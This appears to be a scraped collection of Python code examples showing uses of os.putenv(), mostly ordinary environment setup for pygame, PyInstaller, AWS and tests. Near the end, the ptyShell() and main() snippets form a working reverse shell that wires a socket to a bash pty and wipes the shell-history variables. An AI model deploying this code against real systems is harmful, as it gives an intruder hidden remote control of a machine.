我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用os.putenv()。
def _prependToEnvVar(self, newVal, envVar): path = self._getEnvVarAsList(envVar) foundValue = False for entry in path: # Search to determine if the new value is already in the path try: if os.path.samefile(entry, newVal): # The value is already in the path foundValue = True break except OSError: # If we can't find concrete files to compare, fall back to string compare if entry == newVal: # The value is already in the path foundValue = True break if not foundValue: # The value does not already exist if os.environ.has_key(envVar): newpath = newVal+os.path.pathsep + os.getenv(envVar)+os.path.pathsep else: newpath = newVal+os.path.pathsep os.putenv(envVar, newpath) os.environ[envVar] = newpath
def __setitem__(self, key, value): key = _norm_key(path2fsn(key)) value = path2fsn(value) if is_win and PY2: # this calls putenv, so do it first and replace later try: os.environ[_fsn2legacy(key)] = _fsn2legacy(value) except OSError: raise ValueError try: set_windows_env_var(key, value) except WindowsError: # py3+win fails for invalid keys. try to do the same raise ValueError try: self._env[key] = value except OSError: raise ValueError
def setUp(self): os.putenv("KMP_DUPLICATE_LIB_OK", "TRUE") self.X_class, self.y_class = datasets.make_classification(random_state=42) self.X_reg, self.y_reg = datasets.make_regression(random_state=42) self.classification_optimizers = [XGBoostOptimizer, RandomForestOptimizer] self.regression_optimizers = [XGBoostOptimizer, RandomForestOptimizer] self.class_scorer = Scorer("auc_error", lambda y_pred, y_true: 1 - metrics.roc_auc_score(y_pred, y_true)) self.reg_scorer = Scorer("mse", metrics.mean_squared_error) self.classification_task_split = \ Task("class_split", self.X_class, self.y_class, "classification", test_size=0.1, random_state=42) self.regression_task_split = \ Task("reg_split", self.X_class, self.y_class, "regression", test_size=0.1, random_state=42) self.classification_task_cv = \ Task("class_cv", self.X_reg, self.y_reg, "classification", cv=5, random_state=42) self.regression_task_cv = \ Task("reg_cv", self.X_reg, self.y_reg, "regression", cv=5, random_state=42)
def set_gst_grapviz_tracing(enabled=True): if enabled: os.environ[ "GST_DEBUG_DUMP_DOT_DIR"] = "/home/pi/dev/bossjones-github/scarlett_os/_debug" # noqa os.putenv('GST_DEBUG_DUMP_DIR_DIR', '/home/pi/dev/bossjones-github/scarlett_os/_debug') else: if os.environ.get('GST_DEBUG_DUMP_DOT_DIR'): del os.environ['GST_DEBUG_DUMP_DOT_DIR'] # source: http://pyrasite.readthedocs.io/en/latest/Payloads.html # def create_call_graph(): # import pycallgraph # pycallgraph.start_trace() # pycallgraph.make_dot_graph('callgraph.png')
def __init__(self, *args, **kw): if hasattr(sys, 'frozen'): # We have to set original _MEIPASS2 value from sys._MEIPASS # to get --onefile mode working. os.putenv('_MEIPASS2', sys._MEIPASS) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): # On some platforms (e.g. AIX) 'os.unsetenv()' is not # available. In those cases we cannot delete the variable # but only set it to the empty string. The bootloader # can handle this case. if hasattr(os, 'unsetenv'): os.unsetenv('_MEIPASS2') else: os.putenv('_MEIPASS2', '') # Second override 'Popen' class with our modified version.
def proxy_command(command, command_args, credentials): # Unset variables for sanity sake os.unsetenv('AWS_DEFAULT_PROFILE') os.unsetenv('AWS_PROFILE') os.unsetenv('AWS_ACCESS_KEY_ID') os.unsetenv('AWS_SECRET_ACCESS_KEY') os.unsetenv('AWS_SESSION_TOKEN') os.unsetenv('AWS_SECURITY_TOKEN') # Set AWS/Boto environemnt variables before executing target command os.putenv('AWS_ACCESS_KEY_ID', (credentials['AccessKeyId'])) os.putenv('AWS_SECRET_ACCESS_KEY', (credentials['SecretAccessKey'])) os.putenv('AWS_SESSION_TOKEN', (credentials['SessionToken'])) os.putenv('AWS_SECURITY_TOKEN', (credentials['SessionToken'])) command_status = os.system(command + " " + " ".join(command_args)) exit(os.WEXITSTATUS(command_status))
def get_session(profile_config): session_profile = profile_config['profile_name'] if 'source_profile' in profile_config: session_profile = profile_config['source_profile'] if 'region' in profile_config: os.putenv('AWS_DEFAULT_REGION', profile_config['region']) os.putenv('AWS_REGION', profile_config['region']) # Create a session using profile or EC2 Instance Role # To use Instance Role set `source_profile` to empty string in aws profile # configuration file session = boto3.Session(profile_name=session_profile) return session
def __init__(self, query, target_id, database, tk_root, tk_config, pseudo=True, ss=True, cpu=1): self.tk_root = tk_root self.tk_config = tk_config self.hhlib = os.path.join(tk_root, "bioprogs", "hhsuite") if 'TK_ROOT' not in os.environ or not os.environ['TK_ROOT']: os.putenv('TK_ROOT', self.tk_root) if 'HHLIB' not in os.environ or not os.environ['HHLIB']: os.putenv('HHLIB', self.hhlib) os.environ["PATH"] += os.pathsep + os.path.join(self.hhlib, "bin") self.query = query self.accession = target_id[:-1] self.chain = target_id[-1] self.database = database self.pseudo = bool(pseudo) self.ss = bool(ss) self.cpu = cpu self._input = None self._a3m = None self._hhm = None self.configure_input()
def __init__(self, *args, **kw): if hasattr(sys, 'frozen'): # We have to set original _MEIPASS2 value from sys._MEIPASS # to get --onefile mode working. # Last character is stripped in C-loader. We have to add # '/' or '\\' at the end. os.putenv('_MEIPASS2', sys._MEIPASS + os.sep) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): # On some platforms (e.g. AIX) 'os.unsetenv()' is not # available. In those cases we cannot delete the variable # but only set it to the empty string. The bootloader # can handle this case. if hasattr(os, 'unsetenv'): os.unsetenv('_MEIPASS2') else: os.putenv('_MEIPASS2', '')
def setProcessEnvironment(process): envvar_list = { "PATH" : getGdalBinPath(), "PYTHONPATH" : getGdalPymodPath(), "GDAL_FILENAME_IS_UTF8" : "NO" } sep = os.pathsep for name, val in envvar_list.iteritems(): if val == None or val == "": continue envval = os.getenv(name) if envval == None or envval == "": envval = str(val) elif (platform.system() == "Windows" and val.lower() not in envval.lower().split( sep )) or \ (platform.system() != "Windows" and val not in envval.split( sep )): envval += "%s%s" % (sep, str(val)) else: envval = None if envval != None: os.putenv( name, envval )
def __init__(self, *args, **kw): if hasattr(sys, 'frozen'): # We have to set original _MEIPASS2 value from sys._MEIPASS # to get --onefile mode working. os.putenv('_MEIPASS2', sys._MEIPASS) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): # On some platforms (e.g. AIX) 'os.unsetenv()' is not # available. In those cases we cannot delete the variable # but only set it to the empty string. The bootloader # can handle this case. if hasattr(os, 'unsetenv'): os.unsetenv('_MEIPASS2') else: os.putenv('_MEIPASS2', '')
def cli(config: str, command): """Command line entry point""" main_config = get_main_config(config) set_env_values_from_conf(main_config) project_name = main_config.get('project_name') os.putenv('COMPOSE_PROJECT_NAME', project_name) # What to load compose_file = package_utils.get_file('static', 'docker-compose.yml') activated_services = get_enabled_services(main_config.get('services')) # Create the command services = [] for service in activated_services: services.append('-f') services.append(service) base_cmd = ['docker-compose', '-f', compose_file] + services + ['-p', project_name] msg = click.style('[VERBOSE] ', fg='green') msg += 'Compose command: ' + ' '.join(base_cmd + list(command)) click.echo(msg, err=True) subprocess.call(base_cmd + list(command))
def __get_driver(self): has_driver = False for driver in self._drivers: if not os.getenv('SDL_VIDEODRIVER'): os.putenv('SDL_VIDEODRIVER', driver) try: pygame.display.init() except pygame.error: print('Driver: {} not loaded.'.format(driver)) continue print('Driver: {} used.'.format(driver)) has_driver = True break if not has_driver: raise AssertionError('No video driver available for use!')
def _setup_video(): "Ininitializes a new pygame screen using the framebuffer" # Based on "Python GUI in Linux frame buffer" # http://www.karoltomala.com/blog/?p=679 disp_no = os.getenv("DISPLAY") # Check which frame buffer drivers are available # Start with fbcon since directfb hangs with composite output drivers = ['x11', 'fbcon', 'directfb', 'svgalib', 'Quartz'] found = False for driver in drivers: # Make sure that SDL_VIDEODRIVER is set if not os.getenv('SDL_VIDEODRIVER'): os.putenv('SDL_VIDEODRIVER', driver) try: pygame.display.init() except pygame.error: logger.error('Driver: {0} failed.'.format(driver)) continue found = True break if not found: logger.error('No suitable SDL video driver found to start the event subsystem, pygame joysticks may not work.')
def set(self): os.putenv("LD_LIBRARY_PATH", self.ld_lib_path) os.putenv("PYTHONPATH", self.pythonpath) os.putenv("CLASSPATH", self.classpath) os.putenv("OCTAVE_PATH", self.octave_path) os.environ["LD_LIBRARY_PATH"] = self.ld_lib_path os.environ["PYTHONPATH"] = self.pythonpath os.environ["CLASSPATH"] = self.classpath os.environ["OCTAVE_PATH"] = self.octave_path
def __exit__(self,exc_type,exc_value,traceback): os.putenv("LD_LIBRARY_PATH", self.ld_lib_path) os.putenv("PYTHONPATH", self.pythonpath) os.putenv("CLASSPATH", self.classpath) os.putenv("OCTAVE_PATH", self.octave_path) os.environ["LD_LIBRARY_PATH"] = self.ld_lib_path os.environ["PYTHONPATH"] = self.pythonpath os.environ["CLASSPATH"] = self.classpath os.environ["OCTAVE_PATH"] = self.octave_path
def putenv(key, value): """Like `os.putenv` but takes unicode under Windows + Python 2 Args: key (pathlike): The env var to get value (pathlike): The value to set Raises: ValueError """ key = path2fsn(key) value = path2fsn(value) if is_win and PY2: try: set_windows_env_var(key, value) except WindowsError: # py3 + win fails here raise ValueError else: try: os.putenv(key, value) except OSError: # win + py3 raise here for invalid keys which is probably a bug. # ValueError seems better raise ValueError
def init_display(): """ set up the pygame display, full screen """ # Check which frame buffer drivers are available # Start with fbcon since directfb hangs with composite output drivers = ['fbcon', 'directfb', 'svgalib', 'directx', 'windib'] found = False for driver in drivers: # Make sure that SDL_VIDEODRIVER is set if not os.getenv('SDL_VIDEODRIVER'): os.putenv('SDL_VIDEODRIVER', driver) try: pygame.display.init() except pygame.error: # logging.warn('Driver: %s failed.' % driver) continue found = True logging.debug('using %s driver', driver) break if not found: raise Exception('No suitable video driver found!') size = (pygame.display.Info().current_w, pygame.display.Info().current_h) pygame.mouse.set_visible(0) if driver != 'directx': # debugging hack runs in a window on Windows screen = pygame.display.set_mode(size, pygame.FULLSCREEN) else: logging.info('running in windowed mode') # set window origin for windowed usage os.putenv('SDL_VIDEO_WINDOW_POS', '0,0') # size = (size[0]-10, size[1] - 30) screen = pygame.display.set_mode(size, pygame.NOFRAME) logging.debug('display size: %d x %d', size[0], size[1]) # Clear the screen to start screen.fill(BLACK) return screen, size
def __init__(self, background = None): # Init framebuffer/touchscreen environment variables os.putenv('SDL_VIDEODRIVER', 'fbcon') os.putenv('SDL_FBDEV', '/dev/fb1') os.putenv('SDL_MOUSEDRV', 'TSLIB') os.putenv('SDL_MOUSEDEV', '/dev/input/touchscreen') self._backlight_on = True self.on() # Init pygame and screen print "Initting..." pygame.init() print "Setting Mouse invisible..." pygame.mouse.set_visible(False) print "Setting fullscreen..." modes = pygame.display.list_modes(16) self._screen = pygame.display.set_mode(modes[0], pygame.FULLSCREEN, 16) self._needs_update = True # Load background self._background = pygame.image.load(background) self._screen.fill(0) self._screen.blit(self._background, (0, 0)) pygame.display.update() # Load font self._font = pygame.font.SysFont("Arial", 24) self._images = [] self._buttons = [] self._status_lines = [] self.update()
def setUp(self): os.putenv("KMP_DUPLICATE_LIB_OK", "TRUE") self.engine = create_engine('sqlite:///test.db')
def dump_db(dump_path, schema_path, password='', *db_args): schema = yaml.load(open(schema_path)) password = password or os.environ.get('DB_DEFAULT_PASS', '') os.putenv('PGPASSWORD', password) cmd = 'PGPASSWORD={password} pg_dump -Fc -Z 9 {args} {tables} -f {filename}'.format( password=password, args='-d {} -U {} -h {} -p {} '.format( *(db_args or [os.environ.get(var) for var in ['DB_DEFAULT_NAME', 'DB_DEFAULT_USER', 'DB_DEFAULT_SERVICE', 'DB_DEFAULT_PORT']])), tables=' '.join('-t {}'.format(table) for table in schema), filename=dump_path ) logging.debug('Dumping DB with following command: {}'.format(cmd)) subprocess.run(cmd, shell=True)
def load_db_to_new_instance(filename, db_args): if not os.path.isfile(filename): raise IOError('Dump file {} is not a file.'.format(filename)) os.putenv('PGPASSWORD', db_args.get('password')) drop_schema(db_args) subprocess.run( 'PGPASSWORD={password} pg_restore -Fc -j 8 {db_args} {filename} {redirect}'.format( password=db_args.get('password'), db_args=get_psql_db_args(db_args), filename=filename, redirect='' if logging.getLogger().getEffectiveLevel() == logging.DEBUG else '>/dev/null 2>&1'), shell=True )
def gather_metadata(self): os.putenv("ANSIBLE_SSH_ARGS", " -F {}".format(self.config['ansible']['ssh_config'])) ansible_cmd = \ 'ansible-playbook -i {} {}' \ .format(self.config['ansible']['hosts'], self.config['ansible']['metadata_playbook']) self.run_cmd(ansible_cmd) if not self.check_metadata(): self.logger.warning("Metadata could not be gathered") return False else: self.logger.info("Metadata about cloud has been gathered") return True
def test_preexec(self): # DISCLAIMER: Setting environment variables is *not* a good use # of a preexec_fn. This is merely a test. p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(os.getenv("FRUIT"))'], stdout=subprocess.PIPE, preexec_fn=lambda: os.putenv("FRUIT", "apple")) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read(), b"apple")
def test_preexec(self): # preexec function p = subprocess.Popen([sys.executable, "-c", "import sys, os;" "sys.stdout.write(os.getenv('FRUIT'))"], stdout=subprocess.PIPE, preexec_fn=lambda: os.putenv("FRUIT", "apple")) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read(), "apple")
def condEnvironment(env=None): if not env: return os.environ.clear() for k in list(env.keys()): os.putenv(k, env[k])
def screen_curses_init(): # # number of milliseconds to wait after reading an escape character, to # distinguish between an individual escape character entered on the # keyboard from escape sequences sent by cursor and function keys (see # curses(3X). os.putenv("ESCDELAY", "0") # was 25 # global STDSCR STDSCR = curses.initscr() curses.noecho() curses.cbreak() # if not curses.has_colors(): raise Exception("Need colour support to run.") curses.raw() # curses.start_color() # # This is what allows us to use -1 for default when we initialise # the pairs curses.use_default_colors() # curses.init_pair(PROFILE_GREY , curses.COLOR_WHITE , -1) curses.init_pair(PROFILE_WHITE , curses.COLOR_WHITE , -1) curses.init_pair(PROFILE_RED , curses.COLOR_RED , -1) curses.init_pair(PROFILE_VERMILION , curses.COLOR_RED , -1) curses.init_pair(PROFILE_ORANGE , curses.COLOR_RED , -1) curses.init_pair(PROFILE_AMBER , curses.COLOR_YELLOW , -1) curses.init_pair(PROFILE_YELLOW , curses.COLOR_YELLOW , -1) curses.init_pair(PROFILE_CHARTREUSE , curses.COLOR_GREEN , -1) curses.init_pair(PROFILE_GREEN , curses.COLOR_GREEN , -1) curses.init_pair(PROFILE_TEAL , curses.COLOR_CYAN , -1) curses.init_pair(PROFILE_BLUE , curses.COLOR_BLUE , -1) curses.init_pair(PROFILE_VIOLET , curses.COLOR_MAGENTA , -1) curses.init_pair(PROFILE_PURPLE , curses.COLOR_MAGENTA , -1) curses.init_pair(PROFILE_MAGENTA , curses.COLOR_MAGENTA , -1) curses.init_pair(PROFILE_BLACK_INFO , curses.COLOR_BLACK , curses.COLOR_WHITE) curses.init_pair(PROFILE_ALARM, curses.COLOR_RED , curses.COLOR_WHITE)
def ptyShell(action, sock): # #platformshells = { # 'win': 'cmd.exe', # 'mac': '/bin/bash', # 'nix': '/bin/bash', # 'unk': '' # } # shellExe = platformshells[plat] shellExe = '/bin/bash' #preparing oldin = os.dup(0) oldout = os.dup(1) olderr = os.dup(2) os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2) #os.putenv("HISTFILE",'/dev/null') #Shellz! pty.spawn(shellExe) # cleanup os.dup2(oldin,0) os.dup2(oldout,1) os.dup2(olderr,2)
def setUp(self): super(REPLWrapTestCase, self).setUp() self.save_ps1 = os.getenv('PS1', r'\$') self.save_ps2 = os.getenv('PS2', '>') os.putenv('PS1', r'\$') os.putenv('PS2', '>')
def tearDown(self): super(REPLWrapTestCase, self).tearDown() os.putenv('PS1', self.save_ps1) os.putenv('PS2', self.save_ps2)
def get_screen(xwin=False): """Initializes a new pygame screen using the framebuffer""" # Based on "Python GUI in Linux frame buffer" # http://www.karoltomala.com/blog/?p=679 disp_no = os.getenv("DISPLAY") if disp_no: print "I'm running under X display = {0}".format(disp_no) # Make sure that SDL_VIDEODRIVER is set if xwin: driver = 'x11' else: driver = 'directfb' # alternatives: 'fbcon', 'svgalib' if not os.getenv('SDL_VIDEODRIVER'): os.putenv('SDL_VIDEODRIVER', driver) try: pygame.display.init() except pygame.error: raise Exception('Display init failed with driver: {0}'.format(driver)) if xwin: size = (320, 200) options = 0 else: # fullscreen info = pygame.display.Info() size = (info.current_w, info.current_h) print "Framebuffer size: %d x %d" % (size[0], size[1]) options = pygame.FULLSCREEN | pygame.DOUBLEBUF screen = pygame.display.set_mode(size, options) # Clear the screen to start screen.fill((0, 0, 0)) pygame.mouse.set_visible(False) # Render the screen pygame.display.update() return screen
def main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close()
def create_app(self): os.putenv('STAGE', '') return create_app()